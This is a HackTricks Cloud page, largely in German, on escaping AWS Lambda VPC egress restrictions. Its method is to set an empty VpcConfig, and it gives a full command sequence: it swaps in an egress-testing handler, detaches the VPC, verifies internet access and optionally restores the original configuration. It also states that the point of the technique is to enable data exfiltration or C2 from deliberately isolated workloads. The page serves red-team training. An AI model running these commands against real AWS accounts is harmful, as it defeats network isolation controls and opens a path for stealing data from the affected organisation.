AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Reading time: 3 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT.
Ausnutzen
- Voraussetzungen: lambda:UpdateFunctionConfiguration auf der Ziel-Funktion (und lambda:InvokeFunction zur Validierung), plus Berechtigungen, den Code/Handler zu aktualisieren, falls diese geändert werden.
- Annahmen: Die Funktion ist aktuell mit einer VpcConfig konfiguriert, die auf private Subnets ohne NAT zeigt (daher ist ausgehender Internetzugang blockiert).
- Region: us-east-1
Schritte
- Bereite einen minimalen Handler vor, der beweist, dass ausgehender HTTP-Verkehr funktioniert
cat > net.py <<'PY' import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen('https://checkip.amazonaws.com', timeout=3).read().decode().strip() return {"egress": True, "ip": ip} except Exception as e: return {"egress": False, "err": str(e)} PY zip net.zip net.py aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://net.zip --region $REGION || true aws lambda update-function-configuration --function-name $TARGET_FN --handler net.lambda_handler --region $REGION || true
- Aktuelle VPC-Konfiguration sichern (um sie später bei Bedarf wiederherzustellen)
aws lambda get-function-configuration --function-name $TARGET_FN --query 'VpcConfig' --region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- VPC trennen, indem leere Listen gesetzt werden
aws lambda update-function-configuration
--function-name $TARGET_FN
--vpc-config SubnetIds=[],SecurityGroupIds=[]
--region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Aufrufen und ausgehenden Zugriff überprüfen
aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null cat /tmp/net-out.json
(Optional) Ursprüngliche VPC-Konfiguration wiederherstellen
if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json) aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] --region $REGION fi
Auswirkungen
- Stellt für die Funktion uneingeschränkten ausgehenden Internetzugang wieder her, wodurch Datenexfiltration oder C2 von Workloads möglich wird, die absichtlich in privaten Subnets ohne NAT isoliert waren.
Beispielausgabe (nach Entfernen der VpcConfig)
{"egress": true, "ip": "34.x.x.x"}
Bereinigung
- Wenn du temporäre Änderungen am Code/Handler vorgenommen hast, stelle sie wieder her.
- Optional die ursprüngliche VpcConfig wiederherstellen, die in /tmp/orig-vpc.json gespeichert wurde, wie oben gezeigt.
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud